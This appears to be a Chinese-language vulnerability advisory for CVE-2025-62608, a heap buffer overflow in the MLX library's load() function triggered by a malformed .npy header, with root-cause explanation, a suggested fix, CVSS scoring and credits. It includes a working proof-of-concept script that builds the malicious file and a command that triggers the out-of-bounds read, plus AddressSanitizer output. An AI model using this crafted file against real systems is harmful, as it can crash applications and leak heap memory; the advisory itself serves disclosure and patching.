MLX库load()函数存在堆缓冲区溢出漏洞分析

5 阅读3分钟

MLX库load()函数存在堆缓冲区溢出漏洞分析

漏洞详情

漏洞编号: CVE-2025-62608 严重等级: 中危 影响版本: MLX <= 0.29.3 修复版本: 0.29.4 漏洞类型: 堆缓冲区溢出 CWE分类: CWE-122 (堆基缓冲区溢出)

漏洞描述

摘要

当解析恶意的NumPy .npy文件时,MLX库的mlx::core::load()函数存在堆缓冲区溢出漏洞。攻击者控制文件可导致13字节越界读取,引发应用程序崩溃或信息泄露。

测试环境:

  • 操作系统: Ubuntu 20.04.6 LTS
  • 编译器: Clang 19.1.7

漏洞原理

解析器从文件中读取118字节的头部,但在第268行使用std::string(&buffer[0]),该操作在遇到第一个空字节时停止,创建了一个20字节的字符串(而非118字节)。随后在第276行尝试访问header[34],但未事先检查字符串长度,导致读取超出分配内存13字节。

漏洞位置: mlx/io/load.cpp:268,276

Bug #1 (第268行):

std::string header(&buffer[0]);  // 在第一个空字节处停止

Bug #2 (第276行):

bool col_contiguous = header[34] == 'T';  // 无边界检查

修复建议

// 第268行应修改为:
std::string header(&buffer[0], header_len);

// 第276行前应添加:
if (header.length() < 35) throw std::runtime_error("Malformed header");

概念验证(PoC)代码

pip install mlx

# 生成漏洞利用文件
cat > exploit.py << 'EOF'
import struct
magic = b'\x93NUMPY'
version = b'\x01\x00'
header = b"{'descr': '<u2', 'fo\x00\x00\x00\x00n_order': False, 'shape': (3,), }"
header += b' ' * (118 - len(header) - 1) + b'\n'
with open('exploit.npy', 'wb') as f:
    f.write(magic + version + struct.pack('<H', 118) + header + b'\x00\x00\x00\x80\xff\xff')
EOF
python3 exploit.py

# 触发漏洞
python3 -c "import mlx.core as mx; mx.load('exploit.npy')"

AddressSanitizer输出(使用检测工具构建)

=================================================================
==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000152 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48
READ of size 1 at 0x503000000152 thread T0
    #0 0x563345697c28 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:276:25
    ...
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user1/mlx/mlx/io/load.cpp:276:25 in mlx::core::load(std::shared_ptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>)
...
==3179==ABORTING

影响分析

  • 攻击向量: 恶意的.npy文件(模型权重、数据集、检查点)
  • 受影响对象: 所有平台调用该漏洞方法且输入未经过滤的MLX用户
  • 潜在后果: 应用程序崩溃 + 可能泄露13字节堆内存

CVSS评分

整体评分: 5.5(中危) CVSS v4基础指标:

  • 攻击向量: 网络
  • 攻击复杂度: 低
  • 攻击要求: 无
  • 所需权限: 无
  • 用户交互: 无
  • 机密性影响: 低
  • 完整性影响: 无
  • 可用性影响: 低

EPSS评分

利用概率: 0.034%(未来30天内被利用的概率,处于第9百分位数)

致谢

  • Markiyan Melnyk (ARIMLABS) - 报告者
  • Mykyta Mudryi (ARIMLABS) - 发现者
  • Markiyan Chaklosh (ARIMLABS) - 发现者

参考资料

  • GHSA-w6vg-jg77-2qg6
  • ml-explore/mlx#1
  • ml-explore/mlx#2
  • nvd.nist.gov/vuln/detail… glyoVzOLZA9nMhz/bDHDAWzfRfZ0dSZtQUalpUyOmxe+CZ+BJ7WBO7sasWbakfpBaBOtBca2V6tWxnaYCs8qgQ==